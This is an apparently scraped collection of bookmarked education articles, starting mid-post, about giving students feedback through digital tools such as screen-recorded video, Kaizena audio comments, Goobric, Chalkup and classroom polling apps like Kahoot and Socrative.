Once you are done, click Stop Sharing to stop recording. Your video will automatically load in a new tab and start uploading to your Drive folder. (If you use another app, just upload the video to your Drive by yourself) Click on the link icon to get the link to your video and either insert it into the Doc or use your grading/classroom/LMS tool. I was using Canvas with my college students so it was easy to add the link to the video as a comment.

It might take some practice before you free really comfortable giving feedback this way but do not allow that to stop you. Giving video feedback can be very effective and does take more time but you can give more information than just text or audio. Do not give video feedback all the time, you will be overwhelmed, but focus on the times where you you can give the best feedback to affect the most change. Pick the biggest activities or projects to get the biggest bang for your buck, so to speak.

No matter what, focus on giving quality feedback instead of giving a lot of low-level feedback. Focus on quality and not quantity. Focus on the learner and what feedback they need to improve.

# data[].attributes.attachment_link.description
For my first time teaching a college level course (4 week online seminar class for College of Education students), I wanted to make sure I was following all of the research I have read since my last time teaching. One of the biggest things I have read was on the impact of effective feedback and...

# data[].attributes.headline
Using the Swivl To give good student feedback

# data[].attributes.subject
Using the Swivl To give good student feedback

# data[].attributes.body
https://donovanscience.com/2017/04/27/swivl-multi-camera-setup-to-improve-student-feedback/

# data[].attributes.attachment_link.description
Kaizena has a new look! Check out this tutorial to see how you can now give feedback with Kaizena and Google Docs.

# data[].attributes.headline
Providing Feedback on Student Writing and Video | Edudemic

# data[].attributes.subject
Providing Feedback on Student Writing and Video | Edudemic

# data[].attributes.attachment_link.readable_text
Providing timely and effective feedback on student work is a critical component to any classroom. As students increasingly operate and create in a digital environment, emerging tools provide unique new opportunities for teachers to provide feedback on both written work and video projects.

Feedback on Written Work

With the increased adoption of Google Apps for Education, student writing often occurs within Google Docs. While teachers can provide feedback in the form of typed comments, media-rich options exist. By incorporating audio and video feedback, teachers have even more opportunities to connect with their students as they can choose the modality to best support their learning preferences.

If students are in a 1:1 iPad classroom, and are using Google Drive to create and share writing assignments, along with the capacity to insert text comments into the body of the paper or in the margins, classroom teachers can use a combination of Google Drive and Explain Everything to provide video and audio feedback. The process allows a teacher to export a student writing assignment directly from Google Drive to Explain Everything.

Once in Explain Everything, the teacher can press record, ink on the document (which imports as a PDF), and even insert front facing video while providing feedback. In order to give the student access to the video feedback, the Explain Everything Project (XPL file) or video file can be uploaded directly back to Google Drive and placed into a student folder. It is important to recognize that XPL project files will upload quickly to Drive, but students then need Explain Everything to view the feedback. Meanwhile, a video file will take some time to export and upload, but once in Google Drive, students can watch the video feedback on any device.

Video Feedback: Google Drive & Explain Everything from EdTechTeacher.

If students are creating their writing in Google Drive in a 1:1 laptop environment, there are a number of solutions that allow the teacher to provide video and audio feedback on student writing. Kaizena, which is now available in the Google Docs Add-Ons menu as well as through the Kaizena website, allows teachers to quickly open a Google Docs writing assignment in Kaizena and provide audio feedback.

Once imported into Kaizena, teachers can highlight sections of the document and record their voice in small segments. Two features recently added into Kaizena allows the teacher to insert a link to the Kaizena audio feedback directly into the student Google Doc in the margin comments. Further, Kaizena now allows teachers to create a unique teacher URL. When the URL is shared with students, they have the ability to request audio feedback on a particular assignment in their Google Drive account. The teacher will receive a notification of the request via email and can then provide the requested feedback.

Along with Kaizena, any screencasting or screen recording tool can be used in a similar approach to provide video and audio feedback on student writing. If using a MacBook, teachers can open a student writing assignment and screen record using QuickTime. Once the file is saved, it can be uploaded to a student folder in Google Drive.

If a teacher does not have access to the QuickTime recording option, a recently released web based screencasting tool can provide alternative methods to record feedback. Screencastify is a Google Chrome browser extensions that allows either a tab in Google Chrome, or the desktop of a Chromebook or computer, to be recorded. Screencastify provides a feature to upload the screencast directly to Google Drive. Once in Drive, the Screencastify recording can be moved into a student folder.

Providing Feedback on Student Created Video

While it is common practice to have students submit written work as their final assessment to demonstrate their understanding and perspective on a concept, with the increased proliferation and access to mobile devices, student are able to increasingly create video content as their final product. But how does a teacher provide helpful and thoughtful feedback on student created video? Two solutions: VideoNot.es and Comment Bubble.

VideoNot.es is a Google Drive app that can be added directly to a Google account or accessed through the VideoNot.es website. When working within the VideoNot.es environment, the note taking process splits the screen in half with one side being a student created video that has been uploaded to YouTube or Vimeo and the other being typed notes.

The critical feature in VideoNot.es is that any typed note added while watching a video is tagged to the specific location in the video. When complete, the VideoNote is automatically saved to Google Drive where it can then be shared with the student. For the student to receive the feedback on their video creation, they open the note in VideoNot.es, play back their video, and read the attached text commentary.

Along with VideoNot.es, Comment Bubble is a web based solution to provide feedback on student created video. The interface calls for a link to a YouTube video that it automatically embeds in the feedback interface. A unique feature of Comment Bubble that makes the feedback process even more efficient is the customizable feedback buttons that can be tapped by the teacher while watching the video.

When the teacher taps on a customized feedback button, the feedback is tagged to the video and added to a timeline of feedback with a time stamp. Along with pre-determined feedback, teachers can type their feedback or insert audio and video feedback. The final feedback can be shared with the student via a link to a unique URL on the Comment Bubble site.

Neither one of these digital feedback solutions is a complete replacement for a face to face discussion with students. However, there are likely specific assignments, students, and scenarios where these digital tools can provide a path for a teacher to provide effective feedback on student work.

# data[].attributes.attachment_link.title
Providing Feedback on Student Writing and Video

# data[].attributes.attachment_link.description
Providing timely and effective feedback on student work is a critical component to any classroom. As students increasingly operate and create in a digital environment, emerging tools provide unique new opportunities for teachers to provide feedback on both written work and video projects.

# data[].attributes.headline
How to Give Effective Feedback to Your Students

# data[].attributes.subject
How to Give Effective Feedback to Your Students

# data[].attributes.attachment_link.title
How to Give Effective Feedback to Your Students, 2nd Edition

# data[].attributes.headline
From Guilt to Google: Experimenting with Tech Tools to Improve Writing Feedback | EdSurge News

# data[].attributes.subject
From Guilt to Google: Experimenting with Tech Tools to Improve Writing Feedback | EdSurge News

# data[].attributes.attachment_link.readable_text
You know the feeling--that "gotta-get-this-grading-done" robotic trance. The blinding feeling of grading close to 180 essays. The guilt of balancing meaningful feedback without taking three weeks to do it.

I have graded essays for years. I have tried all the tricks to get through my stacks of essays with speed and precision--setting a timer with a reward, coffee grading, yoga grading, dog park grading, almost tossing papers out of the window grading. But nothing worked to improve my ability to turn around papers quicker. In fact, after receiving my "Walking Dead TV reward" for getting through my allotted stack of essays on a Saturday morning, I suddenly realized: I was a "Grading Zombie," and my students were "Grade Zombies."

I needed to change the tedious and difficult writing process in my classroom. So, I turned to Google tools.

Google scripts and add-ons to Google Drive drastically changed my approach to giving writing feedback. I have been able to quickly develop meaningful "writers workshops", give individualized feedback throughout the writing process, and provide timely comments to a large student caseload.

With these tools ( many of which are included in this list), students are placed in charge of their learning. They engage in meaningful self-reflection, highlight according to criteria, and use academic language to critique their own work. The shift is significant. With Google tools, I can provide ongoing feedback while my students showcase digital responsibility and revise throughout the writing process.

Here are my favorite Google tools that have changed the way I approach writing feedback.

Setting up with gClassFolders

First, I created gClassFolders (gCF), or electronic portfolios. This Google Drive add-on automatically sets up sharing rights for all of your students. Anything your students place into their folder is shared with the teacher, you can both create new documents or link apps like Notability for automated uploading.

When my students place their work in this folder, they have multiple drafts of essays, brainstorming charts, notes, photographs, and artifacts of self-reflection. They can also upload video clips to be easily downloaded for editing when working on an iMovie project.

Now, students don't have to worry about losing their best work. As a teacher, I can place exemplar texts, articles, and resources in a class folder that all of my students can view. This portfolio can easily be shared with parents to improve home-to-school connections, with teachers to identify patterns of error, and with community partners to support classroom instruction.

Organizing with Doctopus

Since gClassFolders play an integral role in my classroom, I seek out Google scripts (or add-ons) to enhance the tool.

When assigning essays, I use the add-on Doctopus to send out a project description and file for students to write their essays. I'm still discovering the benefits to using Doctopus, but here are some of the most noticeable benefits:

In real time, a teacher can see the status of student writing. Assignments that have been edited are bolded and placed in the top of the assignment folder.

Teachers can automatically name the file in a desired format, place it in the correct student gClassFolder, set-up group projects, lock-down projects that are official work samples and have ownership rights to prevent accidental deletion.

Feedback can be integrated into the document in different forms like embedded comments, sidebar chats with a student or Kaizena voice feedback.

Giving feedback with Google Docs

Now, what about the feedback itself? Easy--the comment feature in Google Docs helps me give meaningful feedback.

During the first draft of writing, I let students take me on the adventure of writing. Whenever they place a comment in the sidebar, it automatically generates an e-mail to my teacher account. When I'm taking the bus, at home, or have extra time in class, I can respond directly to the e-mail, and Google embeds my response into the document for permanent reflection. In a flash, my students have personalized feedback.

During this time, I try to focus my comments on questions that will muster curiosity and encourage my students to revise. I'm not trying to "tell" students what to revise, but instead guiding them on a path of their own self-reflection.

Supporting student reflection with Google Forms

Following the completion of Draft 1, I use Google Forms to engage my students in self-reflection or a writer's workshop. Google Forms allow you to direct students to different pages based on answers. I usually start the form out with the question, "What would you like to work on today?" Based on their answer, students are sent to a page with an embedded video or resource to aid their revision goal.

When students respond, Google Forms summarize all of the student responses into an easy-to-read chart. I use these responses to guide our writer's workshop.

Using Google Forms, I can quickly find student examples of how they are meeting our writing criteria and guide the workshop to what my students need. (In addition to using Google Forms to capture responses, I also use the script Autocrat to compile and e-mail individual student responses.)

Collecting data and giving feedback with Goobric

Once my students receive ongoing feedback for Draft 1 and complete the self-reflection revision form, I give my final comments or a grade. Our current school grading system does not allow me to easily track when I have rescored assignments, and also limits me on how many words I can give in the freeform comment section. So, I use Goobric to track my students' progress.

Goobric is a Chrome extension that gives the teacher an ability to attach a rubric, gather data or enter freeform comments. Goobric will embed into the assignment, attach to a data spreadsheet and automatically e-mail students feedback.

The specifics? Goobric allows me to gather data by each learning target strand of writing, collect freeform comments, and see how many times a student has submitted a revision or if his or her scores have improved. I work in a professional learning community, and often, we choose one criteria to focus our data collection around. Goobric lets me quickly capture this data to share anonymously with my colleagues.

The results

Looking back at the writing process in my classroom prior to using Google tools, I admit I wasn't giving my students individualized and meaningful feedback. My feedback was not timely, nor was it challenging my students to see beyond the grade. When you have a large high school caseload, it's nearly impossible to give each student the 1:1 writing support they deserve.

Google tools was the solution to this problem. When technology is used with intent--to solve a problem of practice--the results can be tremendous for both student and teacher.

So, experiment! Use technology to transform the writing process in your classroom to student ownership and self-reflection--and maybe, just maybe, it will cure your "Grading Zombie" woes.

NOTE: This article is part of EdSurge's Fifty States Initiative (representing the state of Oregon).

# data[].attributes.attachment_link.title
From Guilt to Google: Experimenting with Tech Tools to Improve Writing Feedback - EdSurge News

# data[].attributes.attachment_link.description
You know the feeling--that "gotta-get-this-grading-done" robotic trance. The blinding feeling of grading close to 180 essays. The guilt of balancing meaningful feedback without taking three weeks to do it. I have graded essays for years.

# data[].attributes.headline
Providing Feedback on Student Writing and Video | Edudemic

# data[].attributes.subject
Providing Feedback on Student Writing and Video | Edudemic

# data[].attributes.attachment_link.readable_text
Providing timely and effective feedback on student work is a critical component to any classroom. As students increasingly operate and create in a digital environment, emerging tools provide unique new opportunities for teachers to provide feedback on both written work and video projects.

Feedback on Written Work

With the increased adoption of Google Apps for Education, student writing often occurs within Google Docs. While teachers can provide feedback in the form of typed comments, media-rich options exist. By incorporating audio and video feedback, teachers have even more opportunities to connect with their students as they can choose the modality to best support their learning preferences.

If students are in a 1:1 iPad classroom, and are using Google Drive to create and share writing assignments, along with the capacity to insert text comments into the body of the paper or in the margins, classroom teachers can use a combination of Google Drive and Explain Everything to provide video and audio feedback. The process allows a teacher to export a student writing assignment directly from Google Drive to Explain Everything.

Once in Explain Everything, the teacher can press record, ink on the document (which imports as a PDF), and even insert front facing video while providing feedback. In order to give the student access to the video feedback, the Explain Everything Project (XPL file) or video file can be uploaded directly back to Google Drive and placed into a student folder. It is important to recognize that XPL project files will upload quickly to Drive, but students then need Explain Everything to view the feedback. Meanwhile, a video file will take some time to export and upload, but once in Google Drive, students can watch the video feedback on any device.

Video Feedback: Google Drive & Explain Everything from EdTechTeacher.

If students are creating their writing in Google Drive in a 1:1 laptop environment, there are a number of solutions that allow the teacher to provide video and audio feedback on student writing. Kaizena, which is now available in the Google Docs Add-Ons menu as well as through the Kaizena website, allows teachers to quickly open a Google Docs writing assignment in Kaizena and provide audio feedback.

Once imported into Kaizena, teachers can highlight sections of the document and record their voice in small segments. Two features recently added into Kaizena allows the teacher to insert a link to the Kaizena audio feedback directly into the student Google Doc in the margin comments. Further, Kaizena now allows teachers to create a unique teacher URL. When the URL is shared with students, they have the ability to request audio feedback on a particular assignment in their Google Drive account. The teacher will receive a notification of the request via email and can then provide the requested feedback.

Along with Kaizena, any screencasting or screen recording tool can be used in a similar approach to provide video and audio feedback on student writing. If using a MacBook, teachers can open a student writing assignment and screen record using QuickTime. Once the file is saved, it can be uploaded to a student folder in Google Drive.

If a teacher does not have access to the QuickTime recording option, a recently released web based screencasting tool can provide alternative methods to record feedback. Screencastify is a Google Chrome browser extensions that allows either a tab in Google Chrome, or the desktop of a Chromebook or computer, to be recorded. Screencastify provides a feature to upload the screencast directly to Google Drive. Once in Drive, the Screencastify recording can be moved into a student folder.

Providing Feedback on Student Created Video

While it is common practice to have students submit written work as their final assessment to demonstrate their understanding and perspective on a concept, with the increased proliferation and access to mobile devices, student are able to increasingly create video content as their final product. But how does a teacher provide helpful and thoughtful feedback on student created video? Two solutions: VideoNot.es and Comment Bubble.

VideoNot.es is a Google Drive app that can be added directly to a Google account or accessed through the VideoNot.es website. When working within the VideoNot.es environment, the note taking process splits the screen in half with one side being a student created video that has been uploaded to YouTube or Vimeo and the other being typed notes.

The critical feature in VideoNot.es is that any typed note added while watching a video is tagged to the specific location in the video. When complete, the VideoNote is automatically saved to Google Drive where it can then be shared with the student. For the student to receive the feedback on their video creation, they open the note in VideoNot.es, play back their video, and read the attached text commentary.

Along with VideoNot.es, Comment Bubble is a web based solution to provide feedback on student created video. The interface calls for a link to a YouTube video that it automatically embeds in the feedback interface. A unique feature of Comment Bubble that makes the feedback process even more efficient is the customizable feedback buttons that can be tapped by the teacher while watching the video.

When the teacher taps on a customized feedback button, the feedback is tagged to the video and added to a timeline of feedback with a time stamp. Along with pre-determined feedback, teachers can type their feedback or insert audio and video feedback. The final feedback can be shared with the student via a link to a unique URL on the Comment Bubble site.

Neither one of these digital feedback solutions is a complete replacement for a face to face discussion with students. However, there are likely specific assignments, students, and scenarios where these digital tools can provide a path for a teacher to provide effective feedback on student work.

# data[].attributes.attachment_link.title
Providing Feedback on Student Writing and Video

# data[].attributes.attachment_link.description
Providing timely and effective feedback on student work is a critical component to any classroom. As students increasingly operate and create in a digital environment, emerging tools provide unique new opportunities for teachers to provide feedback on both written work and video projects.

# data[].attributes.headline
Free Technology for Teachers: Verso - Share and Gather Feedback on Flipped Lessons and More

# data[].attributes.subject
Free Technology for Teachers: Verso - Share and Gather Feedback on Flipped Lessons and More

# data[].attributes.attachment_link.readable_text
Verso is a free service that offers a nice way to deliver flipped lessons to students and gather feedback from them. As a teacher you can create Verso classrooms that your students join. In your classroom you can post videos, links, and files from your Google Drive account. Include response prompts with each item that you post. You can specify how many responses you want to gather from each student.

When students sign into your Verso classroom they will see every new item you've posted for them. If you've posted a video it will play within the Verso environment. Students can track their completion progress in their account dashboards.

Verso offers free iPad and Android apps. Verso can also be used in your web browser.

# data[].attributes.attachment_link.title
Verso - Share and Gather Feedback on Flipped Lessons and More

# data[].attributes.attachment_link.description
Verso is a free service that offers a nice way to deliver flipped lessons to students and gather feedback from them. As a teacher you can create Verso classrooms that your students join. In your classroom you can post videos, links, and files from your Google Drive account.

# data[].attributes.headline
Free Technology for Teachers: Quickly Create Instant Feedback Quizzes

# data[].attributes.subject
Free Technology for Teachers: Quickly Create Instant Feedback Quizzes

# data[].attributes.attachment_link.readable_text
Learn Click is a nice tool for quickly creating simple online quizzes. The format for the quizzes is fill-in-the-blank with a couple of extras that you can't add to offline quizzes. When you format your quizzes in Learn Click you have the option to add a drop-down menu from which students can select words to use in the quiz. Another nice option is the ability to add a "hint" pop-up for students to access. As the designer of the quiz you can specify what the hint is.

Applications for Education
Learn Click's quiz format isn't revolutionary by any means, but it is a nice way to quickly build quizzes for students. Students know right away how they did on each quiz that they take through Learn Click.

I learned about Learn Click from two sources. Larry Ferlazzo recently wrote about it and the next day I received an email from Learn Click's PR department.

# data[].attributes.attachment_link.description
Learn Click is a nice tool for quickly creating simple online quizzes. The format for the quizzes is fill-in-the-blank with a couple of extras that you can't add to offline quizzes. When you format your quizzes in Learn Click you have the option to add a drop-down menu from which students can select words to use in the quiz.

# data[].attributes.headline
Free Technology for Teachers: Kaizena Adds Support for Giving Audio Feedback on Google Presentations

# data[].attributes.subject
Free Technology for Teachers: Kaizena Adds Support for Giving Audio Feedback on Google Presentations

# data[].attributes.attachment_link.readable_text
This is news that I have been waiting to announce for days! Kaizena now supports adding audio feedback on Google Presentations. Kaizena is a tool that integrates with your Google Drive account. With Kaizena authorized to access your Google Drive account you can highlight portions of your students' work and add voice or text comments to it. Until today you could only leave voice comments on Google Documents, now you can leave voice comments on Google Presentations too.

To use Kaizena to leave voice comments for your students your student should share their Documents or Presentations with you. Once they have shared their Documents or Presentations with you, open the shared file through Kaizena. With the shared file open you can highlight a portion of a slide then click the microphone icon to record your voice comment. Your students will see the comments after you have saved them. Greg Kulowiec outlined the process in this post. You can also watch the video below to see how the new feature works.

# data[].attributes.attachment_link.title
Kaizena Adds Support for Giving Audio Feedback on Google Presentations

# data[].attributes.attachment_link.description
This is news that I have been waiting to announce for days! Kaizena now supports adding audio feedback on Google Presentations. Kaizena is a tool that integrates with your Google Drive account. With Kaizena authorized to access your Google Drive account you can highlight portions of your students' work and add voice or text comments to it.

# data[].attributes.headline
Free Technology for Teachers: 12 Good Tools for Gathering Real-time Feedback from Students

# data[].attributes.subject
Free Technology for Teachers: 12 Good Tools for Gathering Real-time Feedback from Students

# data[].attributes.attachment_link.readable_text
Chatrooms and polling services provide good ways to hear from all of the students in a classroom. These kind of tools allow shy students to ask questions and share comments. For your more outspoken students who want to comment on everything, a feedback mechanism provides a good outlet for them too. This summer I tried out a few new tools for gathering real-time feedback from students. Those new tools are featured at the top of my updated list of backchannel and informal assessment tools.

Newer tools on the block...
81 Dash is a nice backchannel platform that I learned about during the " Smackdown" at Hack Ed 2014. 81 Dash provides a place for teachers to create chat rooms to use with students to host conversations and share files. Once you are registered you can begin creating rooms. In your chat room you can exchange messages and files. As the owner of a room you can delete messages written by your students. Students join your 81 Dash room by going to the URL that is assigned to your room. When they arrive at your room for the first time they will be asked to register. There are two registration options. Registering as a "guest user" does not require students to enter email addresses.

EverySlide is a free (for educators and students) service that allows you to share your slides directly to the iPads, laptops, Chromebooks, and Android devices used by members of your audience. As you move through your shared slides you can pop-up a poll to gather feedback from your audience. EverySlide supports PowerPoint and Keynote slides. To get started just upload your slides to EverySlide (you can re-use uploaded slides for multiple groups). When you're ready to present give your audience the access code for your slides. At the end of your presentation you can grab a spreadsheet of the responses to your poll questions.

Geddit is a new service that allows you to quickly gather feedback from your students through any web-enabled device. Like similar services Geddit gives you the ability to push questions to your students' devices. You can create and send multiple choice and short answer questions. You can also simply ask "do you get it" at any time to check for your students' general feelings about a lesson you're conducting. The feedback that you gather from your students through Geddit can be displayed in a variety of graph and list formats. The list format that I like best shows me how each student responded to my "do you get it" question and highlights the students who responded with "no" or "kind of." you can now comment and send messages directly to individual students through Geddit. This feature will allow you to follow-up with a student who replied "I don't get it" to a question.

Plickers is a neat student response system that I learned about at ISTE 2014. Since then I have shown it at a handful of conferences and it has been a smash-hit every time. Plickers uses a teacher's iPad or Android tablet in conjunction with a series of QR codes to create a student response system. Students are given a set of QR codes on large index cards. The codes are assigned to students. Each code card can be turned in four orientations. Each orientation provides a different answer. When the teacher is ready to collect data, he or she uses the Plickers mobile app to scan the cards to see a bar graph of responses. Click here for a full run-down of ideas for using Plickers.

AnswerGarden is a neat service that allows you to embed a open-ended feedback tool into your classroom blog or website. With an AnswerGarden embedded into your blog your students can simply type responses to your question and see their responses appear in a word cloud. Creating an AnswerGarden is a simple process that does not require you to create an account. To get started go to the AnswerGarden homepage and click "create AnswerGarden." On the next screen you will enter a question or statement for your students to respond to. To share your AnswerGarden with students you can give them the link or embed the AnswerGarden into your blog as I have done below. Optionally, before sharing your AnswerGarden you can turn on moderation of responses and set an admin password.

ParticiPoll is a service that you can use to add interactive polls to your PowerPoint presentations. Your polls are created and delivered within your PowerPoint slides. Once you've added ParticiPoll to your PowerPoint you can create as many polls as you like. Each poll can have up to six response options. The best aspect of ParticiPoll is that you don't have to leave your slidedeck at all in order to administer the poll and see the results of your poll. Your audience can respond to your ParticiPoll poll through their cell phones, tablets, or laptops. To respond they simply go to the URL for your poll and choose a response. When you want to display the poll results you just click to the next element in your PowerPoint slidedeck and the results are displayed for all to see. All polls are anonymous.

The Old Reliables...
Infuse Learning is a free student response system that works with any Internet-connected device. Infuse Learning allows teachers to push questions, prompts, and quizzes out to students' devices in private virtual classrooms. In an Infuse Learning room a teacher can give students a wide variety of formats in which to response to a question or prompt. Students can reply to prompts and questions in standard multiple choice, true/false, and short answer formats. Infuse Learning also offers an option for students to reply by creating drawings or diagrams on their iPads, Android tablets, or on their laptops.

Kahoot is a service for delivering online quizzes and surveys to your students. The premise of Kahoot is similar to that of Socrative and Infuse Learning. On Kahoot you create a quiz or survey that your students respond to through any device that has a web browser. Your Kahoot questions can include pictures and videos. As the teacher you can control the pace of the Kahoot quiz or survey by imposing a time limit for each question. As students answer questions they are awarded points for correct answers and the timeliness of their answers. A scoreboard is displayed on the teacher's screen. Students do not need to have a Kahoot account in order to participate in your activities. To participate they simply have to visit Kahoot.it then enter the PIN code that you give to them to join the activity.

Socrative is the standard to which I compare all new student response systems. Socrative uses cell phones and or laptops (user's choice) for gathering feedback from students. You can post as many questions as you like in a variety of formats. One of the more fun question formats is the "space race" format in which students can work individually or in teams to answer questions as quickly as possible.

Poll Everywhere is a service that allows you to collect responses from an audience via text messaging. The free plan for K-12 educators provides selection of features and quantity of responses that is adequate for almost any classroom. One of the neat ways to display feedback gathered through Poll Everywhere is in word clouds. The word cloud feature integrates with Wordle, Tagxedo, and Tagul.

TodaysMeet, a long-time favorite tool of mine for backchanneling in the classroom, this summer introduced two long-requested features. First, you can now create an account on TodaysMeet. By creating an account you can keep track of all of your chatrooms in one place, restrict access to your rooms, and close rooms early if the conversation gets too far off track. The second feature added to TodaysMeet is the ability to moderate comments in a chatroom. Click here for more information about these updates.

Padlet (formerly known as WallWisher) is a tool that has been used by teachers in a variety of ways for years now. I've often used as a collaborative know-want-learn chart and as an exit ticket tool. Padlet works on interactive whiteboards, on iPads and Android tablets, and in the web browser on your laptop.

# data[].attributes.attachment_link.title
12 Good Tools for Gathering Real-time Feedback from Students

# data[].attributes.attachment_link.description
Chatrooms and polling services provide good ways to hear from all of the students in a classroom. These kind of tools allow shy students to ask questions and share comments. For your more outspoken students who want to comment on everything, a feedback mechanism provides a good outlet for them too.

# data[].attributes.headline
Audio Comments in Goobric | Donovanscience

# data[].attributes.subject
Audio Comments in Goobric | Donovanscience

# data[].attributes.attachment_link.readable_text
I am a big proponent of using digital tools to provide better feedback for students as part of their learning. Too often we may give "feedback" that consists of a score or a grade, which does not help the student continue in their learning in an effective way. It is like expecting a blind person to know how to drive by just shouting out directions, we need to do more to help them become better in their learning. Kaizena is my standard tool for adding audio comments to Google Docs but if you are already using Goobric and Doctopus, then you can now easily add in audio comments to give further feedback for the student.

(If you are worried about the time it takes to give better feedback, think of the time you will get back because the better feedback will make it more likely they learn and will need less help than if you give them poor feedback.)

in Tech Tips. Tags: Digital Feedback, Google Apps

# data[].attributes.attachment_link.description
I am a big proponent of using digital tools to provide better feedback for students as part of their learning. Too often we may give "feedback" that consists of a score or a grade, which does not help the student continue in their learning in an effective way.

# data[].attributes.headline
Chalkup to Annotate Google Docs | Donovanscience

# data[].attributes.subject
Chalkup to Annotate Google Docs | Donovanscience

# data[].attributes.attachment_link.readable_text
Chalkup is a useful tool in many ways, as an LMS (lesson management software) or even just as a way to annotate Google Docs for students. Chalkup has the usual features of being able to create classes, have students join using their Google accounts and a classroom key code, discussion posts, creating assignments, and all of the other features you expect from a type of LMS.

The one feature that really helps it stand out from others is that you have the ability to annotate Google Docs in many ways, such as leaving comments or even drawing on the document. The annotations are only found when logged into the Chalkup site and you will not be able to see them on the original Google Doc, only the copy in the assignment submission. There are a lot of people who want this feature and this is one of the few easy ways I have found to be able to do this.

(sidenote: There are a lot of ways that we can leave effective feedback for students, we should look for new ways that allow us to leave better feedback that helps our students as learners so make sure that any feedback you give to students is effective, not just quick.)

in Tech Tips. Tags: Digital Feedback, Google Apps

# data[].attributes.attachment_link.description
Chalkup is a useful tool in many ways, as an LMS (lesson management software) or even just as a way to annotate Google Docs for students. Chalkup has the usual features of being able to create classes, have students join using their Google accounts and a classroom key code, discussion posts, creating assignments, and all...

# data[].attributes.headline
Free Technology for Teachers: Chalkup - Grade Assignments in Google Apps for Edu Without Using Scripts

# data[].attributes.subject
Free Technology for Teachers: Chalkup - Grade Assignments in Google Apps for Edu Without Using Scripts

# data[].attributes.attachment_link.readable_text
Last spring (in the Northern Hemisphere) I wrote a review of a slick service called Chalkup. At that time I described Chalkup as "combining the best of Edmodo with the best of Google Drive." A couple of months later Google Classroom was launched and some of the features of Chalkup became redundant. Well Chalkup has adjusted and again offers some features that aren't available and or aren't easy to find in Google Classroom. For example, while you can attach rubrics to assignments in Google Classroom, Chalkup streamlines that process.

Chalkup integrates with your Google Apps for Education account. When you use Chalkup you can quickly share assignments with your students much like you would do with Google Classroom. Where Chalkup shines is in the assessment side of assignment management. Through Chalkup your students can submit assignments to you and you can comment, highlight and draw on their Google Documents. You can also give them a rubric-based numeric grade for their assignments. Learn more about the Chalkup and Google Apps for Edu integration by watching the video embedded below.

# data[].attributes.attachment_link.title
Chalkup - Grade Assignments in Google Apps for Edu Without Using Scripts

# data[].attributes.attachment_link.description
Last spring (in the Northern Hemisphere) I wrote a review of a slick service called Chalkup. At that time I described Chalkup as "combining the best of Edmodo with the best of Google Drive." A couple of months later Google Classroom was launched and some of the features of Chalkup became redundant.

# data[].attributes.headline
Updated Kaizena - Now a Google Doc Add-on - AHS Technology Integration

# data[].attributes.subject
Updated Kaizena - Now a Google Doc Add-on - AHS Technology Integration

# data[].attributes.attachment_link.title
Updated Kaizena - Now a Google Doc Add-on - AHS Technology Integration

# data[].attributes.attachment_link.description
Kaizena was updated lasted night and is now accessible as an Add-on through Google Docs. For those that are new to Kaizena, it is a way to leave voice and text comments in a Google Doc as well as include resources and tags related to the learning.

# data[].attributes.headline
Kaizena for Google Docs Getting Started Video - YouTube

# data[].attributes.subject
Kaizena for Google Docs Getting Started Video - YouTube

# data[].attributes.attachment_link.title
Kaizena Mini Getting Started Video (Old video - see description for new howto)

# data[].attributes.attachment_link.description
Hi! This video is out of date. Find the new howto video here: https://www.youtube.com/watch?v=dVkv4x9wWZ8

# data[].attributes.headline
Kaizena for Google Docs - Live editing, full Google Drive and Classroom integration - Kaizena Blog

# data[].attributes.subject
Kaizena for Google Docs - Live editing, full Google Drive and Classroom integration - Kaizena Blog

# data[].attributes.headline
33 Digital Tools for Advancing Formative Assessment in the Classroom

# data[].attributes.subject
33 Digital Tools for Advancing Formative Assessment in the Classroom

# data[].attributes.attachment_link.readable_text
There is no shortage of strategies, techniques, and tools available to teachers (and students) who use formative instructional practice in their classrooms. We've compiled an extensive list of 65 digital tools, apps, and platforms that can help teachers use formative assessment to elicit evidence of student learning.

These tools and apps for formative assessment success give teachers (and students) many options and opportunities for classroom success. To get the most out of formative instructional strategies, check out our NWEA® formative practices workshops. You'll gain a better understanding of the role formative practice plays within your instruction and about the four foundational practices to use in the classroom.

And, share your tools, ideas, and thoughts with us, so we can keep this list growing and current! You can tweet me directly @kdyer13.

AnswerGarden - A tool for online brainstorming or polling, educators can use this real-time tool to see student feedback on questions.

Animoto - Gives students the ability to make a short, 30-second share video of what they learned in a given lesson.

Answer Pad - A graphical student response system with the ability to poll and leave feedback. The blank pad functions like an individual whiteboard for each student.

AudioNote - A combination of a voice recorder and notepad that captures both audio and notes for student collaboration.

Backchannel Chat - (Now MasteryConnect Student.) Like TodaysMeet, this site offers a teacher-moderated version of Twitter. An extension of the in-the-moment conversation might be to capture the chat, create a tag cloud, and see what surfaces as a focus of the conversation.

Biblionasium - This online, safe, and simple book network allows teachers to view books students have read (a digital reading log), create reading challenges for students, and track progress. Students also can review and recommend books to their peers on the site.

BookSnap - While currently this app is only available for iOS, it truly provides a digital way for learners to interact with text and with other learners.

Buncee - A creation and presentation tool that helps students and teachers visualize, communicate, and engage with classroom concepts and ideas.

Chatzy - Use Chatzy like you would use TodaysMeet to support backchannel conversations in a private setting. These live chats make great companions to classroom discussion, provide exit tickets, or keep a discussion going after the class is over.

ClassKick - This app allows teachers to post assignments for students, so both the teacher and peers can provide feedback on the assignment. Students can monitor their progress and work.

Coggle - A mind-mapping tool designed to understand student thinking.

Conceptboard - This software facilitates team collaboration in a visual format - similar to mind mapping, but using visual and textual inputs. Compatible on tablets and PCs, Conceptboard can work from multiple devices.

Dotstorming - A whiteboard app that allows digital sticky notes to be posted and voted on. This tool is best for generating class discussion and brainstorming on different topics and questions.

Educreations Interactive Whiteboard - A whiteboard app that provides students the tool to share understanding and comprehension.

Five Card Flickr - Designed to foster visual thinking, this tool uses the tag feature from photos in Flickr.

Flipgrid - This tool has been recently updated. Students can use 15-second to 5-minute videos to respond to prompts; teachers and peers can provide feedback.

ForAllRubrics- This software is free for all teachers and allows you to import, create, and score rubrics on your iPad, tablet, or smartphone. You can collect data offline with no internet access, compute scores automatically, and print or save the rubrics as a PDF or spreadsheet.

Formative - This online, all-student response system provides teachers the opportunity to assign activities to students, receive the results in real time, and then provide immediate feedback to students.

Formative Feedback for Learning - An iPad app that is designed to foster and encourage communication between students and teachers. Through a conference setting, it uses icons to prompt discussions.

Google Forms - A Google Drive app that allows you to create documents that students can collaborate on in real time using smartphones, tablets, and laptops.

GoSoapBox - Free for less than 30 students, this all-student response system works with the Bring Your Own Device (BYOD) model, so no charge for a clicker. One of the most intriguing features for me is the Confusion Meter.

iBrainstorm - An iPad app that allows students to collaborate on projects using a stylus or their finger on screen.

Kahoot - A game-based classroom response system, where teachers can create quizzes using internet content.

